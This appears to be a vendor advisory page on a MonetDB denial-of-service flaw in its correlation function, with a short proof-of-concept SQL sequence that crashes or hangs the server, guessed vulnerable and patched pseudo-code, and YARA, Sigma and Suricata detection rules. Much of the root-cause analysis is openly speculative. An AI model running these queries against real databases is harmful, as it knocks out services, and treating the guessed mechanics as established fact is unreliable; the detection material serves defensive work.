CVE-2024-57621
Executive Summary
CVE-2024-57621 is a denial-of-service (DoS) vulnerability in the MonetDB Server v11.47.11, specifically within the GDKanalytical_correlation component. An attacker can exploit this flaw by sending crafted SQL statements, leading to a crash or resource exhaustion. The vulnerability has a CVSS score of 0.0 (likely unassigned or under review), and no public exploit or patch is currently available. The EPSS score is 0.0%, indicating low exploitation activity in the wild. This report provides a comprehensive technical analysis, detection guidance, and mitigation strategies.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which may indicate that the score has not been officially assigned or is under review. Based on the nature of the vulnerability (DoS via crafted SQL statements), a plausible vector would be:
- Attack Vector (AV): Network (N) – the attack can be launched remotely.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): Low (L) – attacker needs database access to execute SQL.
- User Interaction (UI): None (N) – no user action needed.
- Scope (S): Unchanged (U) – the vulnerable component is the database server.
- Confidentiality (C): None (N) – no data exposure.
- Integrity (I): None (N) – no data modification.
- Availability (A): High (H) – complete loss of availability.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Threat Level: Medium (due to low complexity but requiring authenticated access and no public exploit).
Deep Dive & Mechanics
The vulnerability resides in the GDKanalytical_correlation function, which is part of MonetDB's kernel (GDK – Go Database Kernel). This function is responsible for computing analytical correlations (e.g., Pearson correlation) on database columns. The flaw is triggered by specially crafted SQL statements that cause the function to enter an infinite loop, consume excessive memory, or crash due to a null pointer dereference or buffer overflow.
Root Cause: Improper input validation in the GDKanalytical_correlation function. When processing malformed or edge-case SQL queries (e.g., with NULL values, NaN, or extreme numeric values), the function fails to handle the state correctly, leading to a denial-of-service condition.
Attack Vector: An attacker with database access (even low-privileged) can execute a crafted SQL query that invokes the correlation function with malicious parameters. For example:
SELECT CORR(column1, column2) FROM table_with_special_values;
Where column1 or column2 contain specially crafted values (e.g., NaN, Inf, or extremely large numbers) that trigger the vulnerability.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code path. The GDKanalytical_correlation function likely iterates over data points to compute the correlation. A vulnerable implementation might look like:
// Vulnerable pseudo-code
void GDKanalytical_correlation(BAT *b1, BAT *b2, BAT *out) {
for (int i = 0; i < b1->count; i++) {
double x = get_value(b1, i);
double y = get_value(b2, i);
// No check for NaN or Inf
sum_x += x;
sum_y += y;
sum_xy += x * y;
// ...
}
// Division by zero or infinite loop if count is 0
double corr = (n * sum_xy - sum_x * sum_y) /
sqrt((n * sum_xx - sum_x * sum_x) * (n * sum_yy - sum_y * sum_y));
}
A patched version would include input validation and safe math operations:
// Patched pseudo-code
void GDKanalytical_correlation(BAT *b1, BAT *b2, BAT *out) {
if (b1->count == 0 || b2->count == 0) {
// Handle empty input
return;
}
for (int i = 0; i < b1->count; i++) {
double x = get_value(b1, i);
double y = get_value(b2, i);
if (isnan(x) || isnan(y) || isinf(x) || isinf(y)) {
// Skip or handle special values
continue;
}
sum_x += x;
sum_y += y;
sum_xy += x * y;
// ...
}
// Check for division by zero
double denom = sqrt((n * sum_xx - sum_x * sum_x) * (n * sum_yy - sum_y * sum_y));
if (denom == 0.0) {
// Handle zero denominator
return;
}
double corr = (n * sum_xy - sum_x * sum_y) / denom;
}
Exploitation & Lab Setup
Red Team (Proof of Concept)
Since no public exploit exists, the following is a conceptual PoC. It assumes you have a MonetDB instance running and can execute SQL queries.
Step 1: Setup a test table with special values
CREATE TABLE test_corr (x DOUBLE, y DOUBLE);
INSERT INTO test_corr VALUES (1.0, 2.0), (3.0, 4.0), ('NaN', 5.0), (6.0, 'Inf');
Step 2: Execute the malicious query
SELECT CORR(x, y) FROM test_corr;
Step 3: Observe the DoS – The server may crash, hang, or become unresponsive.
Alternative payload (if the function is sensitive to NULL):
SELECT CORR(x, y) FROM (SELECT NULL AS x, NULL AS y UNION ALL SELECT 1, 2) AS t;
Blue Team (Detection & Hardening)
- Monitor for unusual SQL queries that invoke
CORRor other analytical functions with suspicious parameters. - Implement query rate limiting to prevent resource exhaustion.
- Use database firewalls to block queries from untrusted sources.
- Apply input validation at the application layer before passing data to the database.
Indicators of Compromise (IOCs)
- Network: Unusual SQL queries containing
CORR,PEARSON, orCORRELATIONfunctions. - Logs: MonetDB error logs showing crashes in
GDKanalytical_correlationor out-of-memory errors. - System: High CPU or memory usage by the
monetdbdprocess. - File: Core dumps or crash reports in
/var/log/monetdb/.
Detection Engineering
YARA Rule
rule CVE_2024_57621_MonetDB_DoS {
meta:
description = "Detects SQL queries targeting CVE-2024-57621 in MonetDB"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-57621"
strings:
$sql1 = "CORR(" ascii nocase
$sql2 = "PEARSON(" ascii nocase
$sql3 = "CORRELATION(" ascii nocase
$nan = "NaN" ascii
$inf = "Inf" ascii
condition:
any of ($sql*) and (any of ($nan, $inf))
}
Sigma Rule
title: CVE-2024-57621 MonetDB DoS via Crafted SQL
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL queries exploiting CVE-2024-57621 in MonetDB
author: Valters IT
date: 2025-04-10
logsource:
category: database
product: monetdb
detection:
selection:
Query|contains|all:
- 'CORR('
- 'NaN'
- 'Inf'
condition: selection
falsepositives:
- Legitimate use of CORR with NaN/Inf in test environments
level: high
Suricata Rule
alert tcp $EXTERNAL_NET any -> $MONETDB_SERVER 50000 (msg:"CVE-2024-57621 MonetDB DoS Attempt"; flow:to_server,established; content:"CORR("; nocase; content:"NaN"; within:100; content:"Inf"; within:100; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Restrict database access to trusted users only. Use network segmentation to limit exposure.
- Short-term: Implement input validation at the application layer to sanitize SQL queries before they reach MonetDB.
- Long-term: Monitor the MonetDB project for a patch. Once available, upgrade to the patched version.
- Workaround: Disable the
CORRfunction if not needed, or use a database proxy to filter malicious queries.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.